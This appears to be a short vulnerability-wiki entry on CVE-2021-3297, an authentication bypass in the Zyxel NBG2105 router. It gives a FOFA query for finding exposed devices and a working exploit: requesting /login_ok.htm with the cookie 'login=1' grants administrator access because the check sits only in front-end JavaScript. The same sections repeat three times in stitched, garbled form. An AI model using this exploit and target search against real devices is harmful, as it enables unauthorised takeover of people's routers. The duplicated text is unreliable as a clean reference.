CVE-2021-3297_Zyxel_NBG2105_身份驗證繞過漏洞_en

# CVE-2021-3297 Zyxel NBG2105 身份驗證繞過漏洞/en

Zyxel NBG2105

==FOFA==

app="ZyXEL-NBG2105"


http://xxx.xxx.xxx.xxx/login_ok.htm

Cookie: login=1;


==Vulnerability Impact==

Zyxel NBG2105

==FOFA==

app="ZyXEL-NBG2105"


The front-end file /js/util_gw.js has the front-end verification of the Cookie login parameter.

http://xxx.xxx.xxx.xxx/login_ok.htm

Cookie: login=1;


==Vulnerability Impact==

Zyxel NBG2105

==FOFA==

app="ZyXEL-NBG2105"


The front-end file /js/util_gw.js has the front-end verification of the Cookie login parameter.

If you request the following, you will be redirected to the home.htm page as an administrator.

http://xxx.xxx.xxx.xxx/login_ok.htm

Cookie: login=1;